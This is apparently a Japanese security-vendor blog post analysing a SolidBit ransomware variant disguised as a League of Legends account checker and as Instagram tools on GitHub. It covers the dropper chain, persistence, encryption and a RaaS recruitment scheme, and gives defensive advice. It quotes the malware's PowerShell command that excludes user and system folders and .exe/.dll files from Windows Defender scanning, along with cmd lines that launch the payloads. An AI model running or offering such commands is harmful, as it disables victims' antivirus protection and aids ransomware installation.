ランサムウェア
ランサムウェア「SolidBit」の亜種:オンラインゲーム「League of Legends」やSNSのツールに偽装した侵入手口
トレンドマイクロの調査チームは最近、人気のゲームやソーシャルメディア・プラットフォームのユーザを標的とするランサムウェア「SolidBit」の新型亜種の検体を解析しました。
トレンドマイクロの調査チームは最近、人気のゲームやソーシャルメディア・プラットフォームのユーザを標的とするランサムウェア「SolidBit」の新型亜種の検体を解析しました。このマルウェアはGitHub上にアップロードされ、オンラインゲーム「League of Legends」のアカウントチェックツール(図1)や、ソーシャルメディア「Instagram」のフォロワー・ボットに偽装してユーザを誘い込みます。
GitHubに公開(図2、3)されているLeague of Legendsのアカウントチェックツールには、利用方法を記載したドキュメント(図4)も同梱されていますが、これは偽装手段の一部です。当該ツールは宣伝しているような機能を一切持たず、グラフィカル・ユーザ・インターフェース(GUI:Graphical User Interface)もありません。ユーザが不注意にこのアプリを起動すると、ランサムウェアをドロップする不正なPowerShellコードが自動実行されます。この他、GitHub上には「Source code」という名前のファイルも同梱されていますが、そのコードの内容は当該アカウントチェックツールとは異なるようです。
当該アカウントチェックツールの実行ファイル「Rust LoL Accounts Checker.exe(図5)」について分析したところ、このファイルは「Safengine Shielden」によって難読化され、リバース・エンジニアリング解析を困難にする細工が施されていました。当該ファイルを仮想マシン環境下で実行すると、デバッグツールが検出された旨のエラーメッセージ(図6)が表示されます。この動作は、本マルウェアが備えている仮想環境やデバッグ環境を回避する機能が働いた結果と考えられます。
ユーザが仮想環境ではなく通常環境で「Rust LoL Accounts Checker.exe」をクリックすると、「LoL Checker x64.exe」という別のファイルがドロップ・実行されます。これによって悪意のあるPowerShellコードが実行されることで、さらにランサムウェア「SolidBit」の本体がドロップ・実行されます。マルウェア検査サイト「VirusTotal」とサンドボックス環境「AnyRun」を用いて「Rust LoL Accounts Checker.exe」の動作を分析したところ、この実行ファイルは「Lol Checker x64.exe」をダウンロードする際に、下記コマンドを使用することが判明しました。
- cmd /c start "" %TEMP%\LoL Checker x64.exe
「Lol Checker x64.exe」は起動するとまず、下記のフォルダおよび拡張子をWindows Defenderの定期スキャンおよびあらゆるリアルタイムスキャンの対象外に設定します。
- %UserProfile%
- %AppData%
- %Temp%
- %SystemRoot%
- %HomeDrive%
- %SystemDrive%
- .exe
- .dll
上述のファイルをスキャン対象外とする際には、下記のPowerShellコマンドが使用されます。
cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit;
「Lol Checker x64.exe」は、上記コマンドによるWindows Defenderのスキャン対象外設定に成功すると、下記コマンドプロンプトによってRuntime64.exe(ランサムウェア「SolidBit」として検出)をドロップ・実行します。
- cmd /c start "" %TEMP%\Runtime64.exe
ランサムウェア「SolidBit」の新型亜種を解析
今回発見したランサムウェア「SolidBit」の新型亜種は.NETでコンパイルされていました(図7)。デバッガおよび.NET用アセンブリエディタである「DnSpy」を用いて先述したRuntime64.exeを解析したところ、このファイルは難読化されていることが分かりました。トレンドマイクロは.NET用の難読化解除ツール「de4dot」を用いることで、このコードは読み取り可能な状態に変換しました(図8)。
本ランサムウェアはミューテックスを作成し、標的の端末上で自身のコピーがすでに起動している場合は処理を中止します(図9)。
また、このランサムウェアは自動起動を設定するため、下記のレジストリキーに「UpdateTask」の名前で起動パスを登録します(図10)。
- Software\Microsoft\Windows\CurrentVersion\Run
本ランサムウェアは図11に示す通り、暗号化を行う前に対象ディレクトリがルートパスに属するかどうかを判定した上で、下記のディレクトリやファイルに該当する場合は処理の対象外とします。
- \\ProgramData
- $Recycle.Bin
- AMD
- appdata\\local
- appdata\\locallow
- autorun.inf
- boot.ini
- bootfont.bin
- bootmgfw.efi
- bootsect.bak
- desktop.ini
- Documents and Settings
- iconcache.db
- Intel
- MSOCache
- ntuser.dat
- ntuser.dat.log
- ntuser.ini
- NVIDIA
- PerfLogs
- ProgramData
- Program Files
- Program Files (x86)
- thumbs.db
- users\\all users
- Windows
- Windows.old
SolidBitの新型亜種は、標的端末上のファイルを暗号化(図12)する際に、256ビットのAES暗号化方式(Advanced Encryption Standard)を使用します。また、暗号化したファイルの末尾にSolidBitの感染マーカーとして機能する鍵データ(図13)を付与します。この鍵データは、RSA方式(Rivest-Shamir-Adleman)で暗号化したデータをBase64でエンコードすることで得られる文字列であり、バイナリファイル中にハードコーディングで埋め込まれています。さらにこの新型亜種は、暗号化したファイルに拡張子「.SolidBit」を付与しアイコンを変更します(図14)。以上の暗号化処理は、特定の拡張子を持つファイルに対してのみ実行されます。
また、SolidBitの新型亜種は、標的端末上で複数のサービスを停止しあらゆるシャドウコピー(図15)やバックアップカタログ(図16)、42個に及ぶサービスを削除します。
今回のランサムウェアは、身代金を支払う方法を記載したテキストファイル「RESTORE-MY-FILES.txt」を全てのディレクトリにドロップし(図17)、標的端末の画面にポップアップウィンドウ(図18)を表示します。
SolidBitとLockBitの類似性
SolidBitは、チャットサポート用Webサイトの構成(図19)やランサムノートのファイル名(図20)がランサムウェア「LockBit」に類似していることから、LockBitの模倣者ではないかと言われてきました。
しかし、ランサムウェア「SolidBit」は.NETでコンパイルされ、実際には「Chaos」の名でも知られるランサムウェア「Yashma」の亜種に相当します(図21)。ランサムウェア「SolidBit」の攻撃グループは、ランサムウェア「Yashma」の開発に携わっていた者と結託して、Chaosの機能を部分的に改変したものを「SolidBit」の名前でリブランドした可能性が考えられます(図22)。
今回調査した新型亜種のファイルサイズは5.56MBであり、前回の亜種(156KB)より大きな容量を持ちます。また、ランサムウェアのペイロードをドロップする手段として偽のLeague of Legendsアカウントチェックツールが用いられるのも、今回がはじめてのことです。
SolidBitはソーシャルメディアツールに偽装
前述したGitHubアカウントのユーザは、SolidBitの新型亜種をLeague of Legendsアカウントチェックツールだけでなく、「Social Hacker(図23)」、「Instagram Follower Bot(図24)」など別のアプリにも偽装してアップロードしていました。しかし、本記事の執筆時点で当該アカウントは停止されていました。
上述した不正アプリのいずれも、仮想マシン環境で起動するとエラーメッセージが表示されます(図25)。通常起動の場合、偽のLeague of Legendsアカウントチェックツールと同様ドロッパを経由してランサムウェア「SolidBit」のペイロードを実行します(図26)。
SolidBitはサービスとしてのランサムウェア機能を提供
SolidBitの背後にいる攻撃グループがランサムウェアの拡散に用いる手段は、アプリへの偽装だけではありません。ある調査によると、SolidBitの攻撃グループは、「サービスとしてのランサムウェア(RaaS:Ransomware as a Service)」による活動への参加者を有償で募るメッセージを、アンダーグラウンドのフォーラムに6/29日付けで投稿していたことが分かりました。投稿内容によると、参加者は標的の防御システムを突破してSolidBitを拡散する役割を担い、当該ランサムウェアによる利益の80%を報酬として受け取ることが言及されています。
被害にあわないためには
ランサムウェア「SolidBit」の開発者は、新型亜種を拡散するために、不正アプリを利用するだけでなく、より大規模な感染を引き起こすためにランサムウェアによるサービス(RaaS)への協力者を募るなど、攻撃の手口をより一層強化しているように見えます。開発者によって提示された高い報酬率は、利益獲得に敏感な他の攻撃グループの関心も引き寄せるでしょう。こうした状況を踏まえると、SolidBitの攻撃グループによる活動は、近い将来さらに活発化することが予測されます。
ソーシャルエンジニアリングの一環として、ランサムウェアを正規アプリに偽装してユーザを誘い込むという手口自体は、新しいものではありません。しかし、今回調査したSolidBitの新型亜種は、大多数のユーザを抱えるゲームやアプリを標的とする点で、特記に値します。この手口を用いることで、攻撃者は不正なアプリやツールに手を出してしまう傾向のある未成年など、セキュリティへの関心が薄いユーザ層を巨大な網で囲って捕獲するように、一斉攻撃を仕掛けることが可能になるでしょう。実際にこれに該当する事例として、MinecraftとRobloxを狙ったマルウェアの感染例が挙げられます。
エンドユーザ、または企業や組織は、下記ベストプラクティスを実施することでランサムウェアに感染するリスクを軽減することが可能です。
- ネットワーク内での水平移動・内部活動を阻止するため、他要素認証(MFA:Multifactor Authentication)を使用する。
- 重要なファイルのバックアップに際して「3-2-1ルール」を遵守する。このルールでは、ファイルのコピーを3つ作成し、2種類の記憶媒体を使用し、物理的に離れた保管場所を1つ確保する。
- 定期的にシステム・アップデートや修正パッチの適用を行う。オペレーティングシステムやアプリケーションの最新化は、さまざまな脆弱性を突いた攻撃を防ぐ上で有効である。
企業や組織は、複数レイヤーによる検知・応答機能を備えたセキュリティ・ソリューションを利用することで、ランサムウェアによる攻撃からシステムを保護できます。その1つである「Trend Micro Vision One™」は、複数レイヤーにまたがって不審な挙動やツールを監視することにより、ランサムウェアによる様々な被害が発生する前に検知し、阻止することが可能です。また、「Trend Micro Apex One™」は、次世代レベルの自動脅威検知・応答機能を備え、ランサムウェアやファイルレスによる高度に発展した攻撃からエンドポイントを保護します。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
• 「SolidBit Ransomware Enters the RaaS Scene and Takes Aim at Gamers and Social Media Users With New Variant」
By: Nathaniel Morales, Ivan Nicole Chavez, Monte de Jesus, Lala Manly, Nathaniel Gregory Ragasa
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)